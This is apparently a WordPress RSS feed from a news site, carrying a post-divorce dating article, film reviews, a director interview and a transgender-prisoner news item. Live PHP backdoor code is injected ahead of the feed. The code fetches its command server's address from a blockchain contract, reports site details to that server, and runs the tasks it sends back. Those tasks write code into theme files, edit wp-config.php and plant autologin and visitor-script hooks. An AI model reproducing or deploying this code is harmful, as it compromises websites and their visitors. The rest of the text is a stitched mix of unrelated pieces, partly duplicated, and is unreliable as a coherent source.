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} $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); 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$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; 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}elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); ‘sex – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 31 Jul 2020 07:55:56 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png ‘sex – Brief News https://briefnews.eu 32 32 How To Start New Life After Divorce: Dating, Sex, And Relationships https://briefnews.eu/how-to-start-new-life-after-divorce-dating-sex-and-relationships/ https://briefnews.eu/how-to-start-new-life-after-divorce-dating-sex-and-relationships/#respond Fri, 31 Jul 2020 07:51:31 +0000 https://briefnews.eu/?p=260884 The thought of life after divorce can be the worst. You probably wouldn’t imagine dating, getting intimate, and even finding love again after divorce. But it’s possible to start again and rebuild an incredible life far much more than you ever expected as long as you take time and allow yourself to heal completely.
There are no rules for dating, relationships, and sex post-divorce, but it’s usually intertwined with an ex, heartbreak, children, and in-laws. Jumping immediately into dating or a relationship won’t resolve pent up emotions, insecurities, conflicts, and anger. That’s why it’s important to work on yourself first before getting yourself out there, no matter how long it takes. In this article, we’ll take a look at how to start life after divorce. Let’s jump right in.

Entering The Dating Scene

You don’t have to think about dating and marriage in the same sentence. Instead, choose to look at it as a learning experience. Expect that this new chapter of your life after divorce will come with its own challenges. Also, don’t compare the person you’re with to your ex or think that if you change what your former spouse didn’t like, the new person will be happy.

This is also a good time to fire up those dating sites. Despite all the horror stories you might have heard from friends or family, the best dating sites are genuine places for finding someone special.

Man Holding Flowers in front of Woman
Man Holding Flowers in front of Woman

Are You Ready For A Relationship Post-Divorce?

Certain signs tell you whether you’re ready for a relationship after divorce:

  • You’ve accepted your past and hold no resentment, disappointment, or anger towards your ex or past relationship.

  • You have a positive outlook on life and become increasingly productive both in your work and personal life.

  • You’ve answered yes to the question, ‘can life be better after divorce?’

  • You have become confident in yourself despite being divorced.

  • You’ve stopped dwelling on the past and are eager for what the future holds.

  • You’re hopeful every time you think about the possibility of meeting someone new.

You can only start a new relationship if you notice these signs. Remember, falling in love right after divorce is as simple as falling out of love when you’re in a fresh relationship.

Sex After Divorce

Let’s admit it, if you’ve just ended a marriage, you’ve probably wondered if you’re ever going to be comfortable enough to undress in front of somebody else or get intimate with them. It could take time, or you might be ready a week after your partner moves out. What matters is to move at your own speed. Recognize whether you’re ready for sex or ready for love, and understand the difference before you get back in the game.

The first sex after divorce can feel strange and awkward because you’re out of your comfort zone. Even for the most confident person, post-divorce first sex can make you anxious about body parts you see as imperfect. Ultimately, most people become excited at the thought of having sex after a dry spell. It’s possible to simply focus on the positive emotions through all the negative sentiments, and enjoy the fun and excitement that comes with being intimate.

Also, think of fear as a limitation that prevents you from feeling wanted and having a desire towards another individual, which are all great sources of energy. At the end of the day, it’s important to only have sex with someone because you really want to. In your moment of vulnerability, you wouldn’t want to feel pressured or short-changed in any way.

Couple Kissing on Beach
Couple Kissing on Beach

The Takeaway

Without sugar coating it, whether it’s life after divorce for men or life after divorce for women, the thought of starting from scratch can be overwhelming. Many people who enter into a marriage don’t have intentions of living the single life again. However, things don’t always turn out the way we hoped they would.

As soon as the ink dries on your divorce papers, it’s not all gloom and doom. Life after divorce is great. A slew of new opportunities for your future will come in the form of dating, relationships, and sex. While you might not know when you’re truly ready to get back out there, the tips above will put you on the right track and show you that life after divorce is eventually sane. Have any of these tips been helpful for you post-divorce? Or, what are you doing differently in finding you’re happily ever after? Please let us know in the comments.

 

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A Jim Jarmusch double-feature is the highlight of this week’s disc slate, as well as a noteworthy new movie about RGB and a long-forgotten slasher movie that’ll hit the spot for a certain type of movie lover (those who like bad movies, to be specific). And Netflix is streaming a new movie starring Brie Larson and Samuel L. Jackson! No, another one.

ON NETFLIX

Unicorn Store: Brie Larson directs, co-produces, and stars as a failed artist who can’t decide whether she should throw herself into her new job at a soul-crushing ad agency or believe the man in the bright suits who says he can sell her a unicorn, if she proves herself a worthy owner of one. “This whole thing just sounds a lot weirder than it actually is,” she says at one point, which is true; it also sounds a lot cutesier than it actually is. Which is not to say that Unicorn Store doesn’t have its fair share of cringe-inducing moments – it’s just that it’s got such a good heart, and such a likable ensemble, you’re more likely to give it a pass.

ON BLU-RAY / DVD / VOD

On the Basis of Sex: Mimi Leder’s Ruth Bader Ginsburg biopic gets off to a rough start, hewing closely to the playbook of the sub-genre, and engaging in a fair amount of hagiography besides (you can give her some flaws, it’s fine). But once it jumps to 1970 and focuses on her first major case, it starts to work; Leder finds her focus, rather than fiddling in superhero origin story vagueries, and in the scenes of her practicing and delivering her oral arguments, the film digs into the tough and tricky substance of what she was trying to do. Felicity Jones gets the character’s grit down cold (even if her Brooklyn accent is, put politely, dodgy), and Armie Hammer finds the right notes for her beloved husband Marty – just watch the way he says “counselor” to her, late in the movie, and revel in the chemistry. (Includes featurettes.)

ON BLU-RAY / THE CRITERION CHANNEL

Stranger than Paradise: Jim Jarmusch’s second feature – getting a much-deserved Blu-ray bump-up this week from Criterion – was one of the key starting points for the indie movie revolution. It’s just as striking today, both as a piece of outsider art and a mission statement for the narrative and aesthetic concerns that would define his career. Focusing on two New Yorkers and a visiting cousin, Paradise consists primarily of long scenes of emotionally stunted people in rooms, talking and not talking. But it’s not a stunt, nor a navel-gazer; the humor is marvelously deadpan, the performances ring authentic, and all these years later, it seems quite an authentic portrait of the aimlessness and ennui of those who weren’t all that interested in participating in the go-go ‘80s. (Also streaming on The Criterion Channel.) (Includes audio commentary, archival interviews, behind-the-scenes footage, trailers, and Jarmusch’s full feature debut, Permanent Vacation.)

Night on Earth: This 1991 Jarmusch effort – also getting the Blu bump – isn’t usually considered among his best, for legitimate reasons. The gimmick of five short stories in five cabs in five cities (Los Angeles, New York, Paris, Rome, and Helsinki) is a clever one, but it doesn’t really lend itself to Jarmusch’s settle-in style, so it feels like each story is ending just as we’re getting to know the characters involved. But it offers plenty of pleasures; there’s real joy in watching Gena Rowlands and Winona Ryder bounce off each other, and in Rosie Perez and Giancarlo Esposito’s Do the Right Thing reunion, and the closing segment is unexpectedly but appropriately melancholy. It’s mid-level Jarmusch, that’s still better than most of his contemporaries at their best. (Also streaming on The Criterion Channel.) (Includes audio commentary and archival interviews.)

ON DVD

Blood Lake: There’s a very specific amateurishness to a no-budget, shot-on-video, late ‘80s/early ‘90s feature film: the stilted scenes of half-improvised dialogue, the acting that screeches from half-hearted mumbling to full-on yelling, the incompetently choreographed fight scenes, the bargain basement special effects, and the very, very long credit sequences. All of the above, and much more, are on display in this 1987 slab of slasher movie play-acting, rediscovered (exhumed might be a better description) at Fantastic Fest 2018 and now brought to DVD via the affiliated folks at the American Genre Film Archive. It’s a terrible movie, sure. But they sure were trying, and real talk: between the goofy Oklahoma accents, the almost-mullet haircuts, the imitation hair metal soundtrack, and the Ocean Pacific-style wardrobes, watching Blood Lake is like watching home movies, at least for this Midwestern ‘80s kid. (Includes audio commentary, Fantastic Fest Q&A, short film, and investor trailer.)

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A Jim Jarmusch double-feature is the highlight of this week’s disc slate, as well as a noteworthy new movie about RGB and a long-forgotten slasher movie that’ll hit the spot for a certain type of movie lover (those who like bad movies, to be specific). And Netflix is streaming a new movie starring Brie Larson and Samuel L. Jackson! No, another one.

ON NETFLIX

Unicorn Store: Brie Larson directs, co-produces, and stars as a failed artist who can’t decide whether she should throw herself into her new job at a soul-crushing ad agency or believe the man in the bright suits who says he can sell her a unicorn, if she proves herself a worthy owner of one. “This whole thing just sounds a lot weirder than it actually is,” she says at one point, which is true; it also sounds a lot cutesier than it actually is. Which is not to say that Unicorn Store doesn’t have its fair share of cringe-inducing moments – it’s just that it’s got such a good heart, and such a likable ensemble, you’re more likely to give it a pass.

ON BLU-RAY / DVD / VOD

On the Basis of Sex: Mimi Leder’s Ruth Bader Ginsburg biopic gets off to a rough start, hewing closely to the playbook of the sub-genre, and engaging in a fair amount of hagiography besides (you can give her some flaws, it’s fine). But once it jumps to 1970 and focuses on her first major case, it starts to work; Leder finds her focus, rather than fiddling in superhero origin story vagueries, and in the scenes of her practicing and delivering her oral arguments, the film digs into the tough and tricky substance of what she was trying to do. Felicity Jones gets the character’s grit down cold (even if her Brooklyn accent is, put politely, dodgy), and Armie Hammer finds the right notes for her beloved husband Marty – just watch the way he says “counselor” to her, late in the movie, and revel in the chemistry. (Includes featurettes.)

ON BLU-RAY / THE CRITERION CHANNEL

Stranger than Paradise: Jim Jarmusch’s second feature – getting a much-deserved Blu-ray bump-up this week from Criterion – was one of the key starting points for the indie movie revolution. It’s just as striking today, both as a piece of outsider art and a mission statement for the narrative and aesthetic concerns that would define his career. Focusing on two New Yorkers and a visiting cousin, Paradise consists primarily of long scenes of emotionally stunted people in rooms, talking and not talking. But it’s not a stunt, nor a navel-gazer; the humor is marvelously deadpan, the performances ring authentic, and all these years later, it seems quite an authentic portrait of the aimlessness and ennui of those who weren’t all that interested in participating in the go-go ‘80s. (Also streaming on The Criterion Channel.) (Includes audio commentary, archival interviews, behind-the-scenes footage, trailers, and Jarmusch’s full feature debut, Permanent Vacation.)

Night on Earth: This 1991 Jarmusch effort – also getting the Blu bump – isn’t usually considered among his best, for legitimate reasons. The gimmick of five short stories in five cabs in five cities (Los Angeles, New York, Paris, Rome, and Helsinki) is a clever one, but it doesn’t really lend itself to Jarmusch’s settle-in style, so it feels like each story is ending just as we’re getting to know the characters involved. But it offers plenty of pleasures; there’s real joy in watching Gena Rowlands and Winona Ryder bounce off each other, and in Rosie Perez and Giancarlo Esposito’s Do the Right Thing reunion, and the closing segment is unexpectedly but appropriately melancholy. It’s mid-level Jarmusch, that’s still better than most of his contemporaries at their best. (Also streaming on The Criterion Channel.) (Includes audio commentary and archival interviews.)

ON DVD

Blood Lake: There’s a very specific amateurishness to a no-budget, shot-on-video, late ‘80s/early ‘90s feature film: the stilted scenes of half-improvised dialogue, the acting that screeches from half-hearted mumbling to full-on yelling, the incompetently choreographed fight scenes, the bargain basement special effects, and the very, very long credit sequences. All of the above, and much more, are on display in this 1987 slab of slasher movie play-acting, rediscovered (exhumed might be a better description) at Fantastic Fest 2018 and now brought to DVD via the affiliated folks at the American Genre Film Archive. It’s a terrible movie, sure. But they sure were trying, and real talk: between the goofy Oklahoma accents, the almost-mullet haircuts, the imitation hair metal soundtrack, and the Ocean Pacific-style wardrobes, watching Blood Lake is like watching home movies, at least for this Midwestern ‘80s kid. (Includes audio commentary, Fantastic Fest Q&A, short film, and investor trailer.)

Amazon    amazon prime    Armie Hammer    Brie Larson    Felicity Jones    Gena Rowlands    Giancarlo Esposito    Hulu    Jim Jarmusch    Mimi Leder    Netflix    Rosie Perez    ruth bader ginsburg    Samuel L. Jackson    The Criterion Channel    The Criterion Collection    Unicorn Store    Winona Ryder

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There’s a scene in almost every teen TV drama where the teacher describes the theme of the episode that will come to pass over the next 45 minutes. The majority of On the Basis of Sex is like that.

The Ruth Bader Ginsburg biopic stars Felicity Jones as the trailblazing lawyer who later becomes one of our foremost Supreme Court justices and only the second female Supreme Court justice in history. But On the Basis of Sex focuses on Ginsburg’s first landmark case that launched her career as the premiere advocate against gender discrimination. Which would be fine if that were actually the case. Instead, the first half-hour of the film plays like a checklist of Ginsburg’s early life, peppered with winking moments to the time period’s retrograde perspective on women. Ruth enters Harvard and shoots to the top of her class: Check. Ruth balances raising a child and caring for a cancer-stricken husband (Armie Hammer) with her studies: Check. Ruth literally does everything her husband Martin does, backwards and in heels, and still gets denied a career as a lawyer: Check.

All throughout her struggles, Ruth maintains her noble disposition and perfectly coiffed hair, simply raising her chin at the injustices with the implied knowledge that she is destined for greater things. For the first half-hour of the film, On the Basis of Sex is too caught up in its label as an important film, breathlessly recounting the life story of an icon of female empowerment while a soaring score briskly carries the story along and fills in its gaps. But if you skip that first half-hour, you may find a powerful and affecting film.

“You’re angry,” one potential employer tells her during an interview. “That’s good, use that.” But she’s not really angry nor does she really use it. Felicity Jones, for all of her talents, is stuck for most of the film donning a placid expression for much of the movie that I’m going to coin as the “Emma Watson Princess Face”: the wide-eyed, gently smiling expression of an actress who knows she’s playing a character that holds a certain prominence and will not jeopardize that. On the Basis of Sex attempts a few times to dig under that facade — with her radical feminist daughter Jane (Cailee Spaeny) picking apart her carefully curated persona. But those brief moments of friction, in which we get a glimpse at Ruth’s flaws through her strained relationship with her outspoken daughter, transform into yet another inspirational overture.

We don’t see brief moments of humanity peek through until we’re well into Ruth’s tax law case challenging the IRS’ tax deduction for nursing care — a case that Ruth pioneers because it is sex-based discrimination “against a man,” with Jones punctuates with all the subtlety of a sledgehammer. The film finally feels like it begins with the introduction of Justin Theroux‘s Mel Wulf, an ACLU legal director whose push-pull relationship with Ruth (and in fact, with everyone) provides the most engaging part of this movie — he charmingly greets her with a song-and-dance one moment, then denies her the case the next, encourages her career, then tells her “to smile more.” Theroux is a chameleonic character actor here, playing the cad, but a sympathetic one that you can’t help but enjoy watching. And oh, when he and Kathy Bates (playing a cantankerous 1st-gen feminist lawyer Dorothy Kenyon) are in a room together trading barbs, the film suddenly lights up. Armie Hammer should be given credit too, for lending his innate charms to nothing role as Ruth’s supportive husband Marty.

But on the opposite end, Sam Waterston and Stephen Root are given little to do other than antagonize Ruth and make underhanded sexist comments as her former professors and later, the counsels for the defense in her case. However, it’s nice seeing Sing Street‘s Jack Reynor lend a little more charisma to the sleazy lead counsel role.

The rest of the film plods along until it comes to an empowering crescendo with the final court battle. Why couldn’t this have been the entire movie? It’s gripping, powerful, and an arena in which the incredibly unsubtle dialogue actually thrives. When a judge jabs at Ruth that the word “woman” isn’t in the U.S. Constitution and she responds, “Neither is the word freedom…your honor,” it hits so much harder than earlier in the film when Ruth reverentially declares to her daughter, “you are the future.” (In the rain! After her daughter chewed out a few catcalling construction workers!) The film hits us over the head with how important its subject matter is, but that doesn’t begin to feel real or earned until Ruth enters the courtroom.

The courtroom scene could have made for its own movie for how fully realized it is. Director Mimi Leder crafts an entire arc with rising tension and a final euphoric moment of victory and validation. Ruth enters into the legal battle uncertain of her own abilities and (finally) letting her anger get the better of her when the judges bait her with questions about precedence and the “natural order of the world.” She stumbles and nearly loses the case before making a grandiose speech that sent chills down my spine, despite its prominence in the trailers. Jones sells this scene, which benefits from Leder’s direction that until now was rather heavy-handed.

The final courtroom scene is strong enough to forgive some of the failings of the first act, which I can’t blame Leder and screenwriter Daniel Stiepleman for wanting to establish. Ginsburg’s story is one that deserves to be told, in a year too where she’s been the subject of a documentary that turned her into a modern-day rock star. But On the Basis of Sex is strongest not when it hints at the historical figure she will become, but when it uncovers the fresh and blood woman underneath the notorious “Ruth Bader Ginsburg.”

/Film Rating: 7 out of 10

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On the Basis of Sex is the story of Ruth Bader Ginsberg. Not the Supreme Court Justice we know now, but the Ruth Bader Ginsburg who was one of the first female students at Harvard Law School, who began her legal career fighting to overturn a case of gender discrimination.

Felicity Jones plays Ruth and the case in question is the Moritz case. Charles Moritz was denied a caretaker tax write-off because it was assumed caretakers could only be women. Ruth’s husband Martin Ginsburg actually pointed her to the case because he knew she was interested in finding ways to fight sexism.

Mimi Leder directed On the Basis of Sex. After making The Peacemaker, Deep Impact and Pay It Forward, Leder directed on TV shows like Smash, Shameless, The Leftovers and was always involved with ER. Leder spoke to /Film about doing justice to Ruth Bader Ginsburg’s story and how the film is the story of how change happens. On the Basis of Sex opens in theaters on Christmas Day and expands wider in January.

When you saw that Daniel Stiepleman’s script was centered on the Moritz case, were you able to construct the movie as a courtroom drama building up to Ruth arguing the case?

That’s a really interesting question because I don’t really see it as a courtroom drama. To me it feels like a film about how change happens. The courtroom part of the movie is about 16 pages worth of film, so maybe about 15 minutes of film.

Sure, but I’m including all the preparation for the case part of the drama.

I did not construct the film as a courtroom drama. Everything that leads up to that moment is a movie for me about how change happens. We’re showing the story of this woman, RBG, Ruth Bader Ginsburg finding her voice and coming up against all obstacles. How she became who she is today and leading up to the case that changed  a century of gender discrimination for men and women on the basis of sex.

Was it telling that sexism didn’t begin to change until it affected a man?

Very telling because there were many women before Ruth Bader Ginsburg. There were countless generations of women before her who fought very hard against gender discrimination and it took a man who was being discriminated against to fight for a win that overturned a century of gender discrimination. I find that to be very telling. We still live in a patriarchal society. It was a patriarchal society then in the ‘50s. Even though we’ve made so many changes, there are still so many more changes to be made.

How change happens seems to be a fight in every generation. There’s always an establishment resisting progress. Do you have any insight into why it’s always a fight and we can’t just skip the fight and make progress?

I think everything is a fight these days in this poisonous political climate. I think what is phenomenal about Justice Ginsburg is that she uses persuasion and logic to argue. She doesn’t destroy the other side. She treats them with respect and civility the way all people would like to be treated. So I think if we had more civility there would be less of a fight. So I don’t know. I think people are afraid and they resist change, and people are full of fear. But, I think change and empowerment is what makes our country and makes us better people. There are so many laws that still need to be changed. There’s so much that has been changed but we have so much farther to go before we reach true equality, true inclusion. But, I think logic is the way to go and honesty, telling the truth. RBG’s a truth seeker and I think if we use our voices in a civil way, things could continue to change.

I’m really looking forward to a lot of my male friends seeing how you portray a lot of the microaggressions against women in the movie. The professors who won’t call on her, who belittle her even though she was smart enough to get into Harvard. Having maybe experienced that in the industry, were you looking forward to dramatizing it so that people outside can see how this works against women?

Well, I felt a lot of commonalities with Ruth Bader Ginsburg in that I’ve had a lot of doors slammed in my face. I really understood how that felt and therefore felt I could dramatize it in a very personal way. We are both Jewish, we are both mothers, both have had longstanding marriages. We’ve both broken the glass ceilings in our own ways. I’d never compare my accomplishments to hers, but for generations to come we’ve paved the way for other women. I felt uniquely qualified in a very personal way to bring this story to life. That scene where she’s in her first classroom on the first day is a day that she is feeling the sleights. The professor is not calling on her. It was one of the first years when women were accepted into Harvard Law. I think there was a lot of resentment not just from the male students, but from the teachers as well. It was a lot to overcome but her perseverance and her passion and her smarts, because she was smarter than any of them, she was able to get through.

This might be a reach, but I was thinking how you made two hit movies and then one that only did okay and had to fight for your next movie, nine years later and then another nine years until On the Basis of Sex. Did you see a parallel to Ruth getting into Harvard and still having to prove herself once there?

Well, I want to clarify that yes, it took me a long time to make another movie but I worked and flourished in television where the storytelling is extraordinary. But yes, I very much understood that I had to keep proving myself over and over again, and to some extent still do these days. I know what that feels like and I try and work through it, just move forward, do the work. That’s all you can do, and fight it. Fight against injustice. Fight for inclusion. Fight for equal rights. Find your voice. I think thats’ one of the messages of the film.

We saw quite recently with the Kavanagh hearings that men can yell and scream and women are expected to keep their composure. The movie shows how even in the mock trial with her own colleagues, it rattles Ruth. Was that a way to show that it is okay to get rattled by sexism? You don’t have to be stone cold calm in the face of every obstacle.

Well, obviously showing her humanity and who she is as a real person, I wanted the film to be as authentic and honest as it could be. Showing her having emotion is certainly her being a human being. So it’s okay to be rattled.

And maybe it would be unnatural if you weren’t ever rattled.

Yeah, I mean, Ruth Bader Ginsburg was taught to keep her emotions in check. It was part of how women were raised in the ‘50s. So she kept her emotions in check. She was always taught to be a lady but behind closed doors, I know that people are human and I know she is too. I think everybody cries. Everybody feels things deeply. Some people show their emotions up front center. Marty was the charming one, the one who joked. He was the magnet. Their union was opposites attract. Their marriage was a real metaphor for the film, an equal partnership.

When did you think of having the real Ruth walk up the steps at the end of the film?

It was before we started shooting. I knew what the opening was going to be, Ruth in a sea of men, one of nine women accepted to Harvard in a cornflower blue dress swaying in the wind, hope on her face, excitement. I was standing in front of the Supreme Court steps with my DP. There was a different scene that was in the end but I didn’t love it. I was standing in front of the Supreme Court steps. I said to my director of photography, Michael Grady, “I want to mirror the end of the movie [with the beginning]. I have this idea. I want to have our Ruth Bader Ginsburg, Felicity Jones, after her triumph and winning against all odds this case that overturned 170 different laws that discriminated on the basis of sex, I wanted to ascend to her future and I wanted her to morph into RBG.” I pitched it to my producer. Most everyone was excited. What if it didn’t work? What if we shot it? What if we cut it out? I said, “It’s gonna work. It’s gonna be great.” So I wrote her a letter and she said yes. I think it’s a very earned moment in the film.

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There are only 28 transgender prisoners in the Illinois correctional system, but one of them – a trans-woman named Deon “Strawberry” Hampton – has sued the Illinois Corrections Department four times to be allowed to serve out the remainder of her 10-year burglary sentence in a women’s prison, alleging abuse by inmates and guards alike. While previous lawsuits merely shuttled her between four different men’s prisons, this time the court ordered officials to reevaluate her request and allow her to attend a transgender support group.

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The judge also gave the corrections department 14 days to come up with a “training plan” for dealing with transgender inmates. Department of Corrections spokesperson Lindsey Hess says the agency’s “mental health professionals receive specialized training and ongoing consultations from a transgender expert” already, but officials say a more comprehensive plan is “underway.”

Hampton’s complaint is based on allegations of repeated abuse and sexual assault by guards and inmates. A 2015 survey says transgender inmates are five times as likely to be sexually assaulted by staff compared with the rest of the prison population and nine times as likely to be sexually assaulted by other inmates. However, “prison rape” is a massive problem in US prisons among non-transgender inmates as well, as commentator Steve Malzberg pointed out in a debate with activist Anthony Rogers-Wright on RT.

“You need to keep everybody safe but you can’t start making special provisions to anyone who says they feel like they’re a woman when they’re born a man, could be classified as transgender, whether they mean it or don’t mean it,” Malzber said.

Prison is a tough place. That doesn’t mean that special privileges should be granted to people who claim that they’re transgender. It’s just not fair.

Rogers-Wright argued that it was less “a function of preferential treatment” than “a function of safety” and pointed out that prisons already have special provisions for very old and mentally-ill inmates.

It’s not about special treatment, it’s about keeping these people alive.

It remains to be seen whether a women’s prison would even welcome Hampton, whether we are talking about the prison’s staff, or the inmates themselves. Female inmates in Texas filed a federal lawsuit earlier this year to keep transgender inmates out, arguing that sharing a facility with them would be dangerous and a violation of privacy. The Trump administration subsequently reversed an Obama-era policy and opted to use “biological sex as the initial determination” for facility assignment.

Last month, UK courts sentenced David Thompson to life imprisonment for sexually assaulting multiple women after he conned his way into a women’s prison by pretending to be undergoing a gender transition. Thompson began his transformation into “Karen White” while in custody for stabbing his neighbor, but never committed to the transition beyond wigs and women’s clothing.

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]]> https://briefnews.eu/illinois-prisons-to-retrain-staff-after-transgender-inmate-who-feels-like-sex-slave-sues-debate/feed/ 0 ‘Sex doll brothel monetizes the rape of women' – French feminists https://briefnews.eu/sex-doll-brothel-monetizes-the-rape-of-women-french-feminists/ https://briefnews.eu/sex-doll-brothel-monetizes-the-rape-of-women-french-feminists/#respond Tue, 20 Mar 2018 13:11:35 +0000 http://briefnews.eu/sex-doll-brothel-monetizes-the-rape-of-women-french-feminists/

Communist and feminist groups are pressuring the Council of Paris to close a controversial, clandestine sex doll brothel in the heart of the city. So far, however, there have been no complaints and no actual crimes committed.

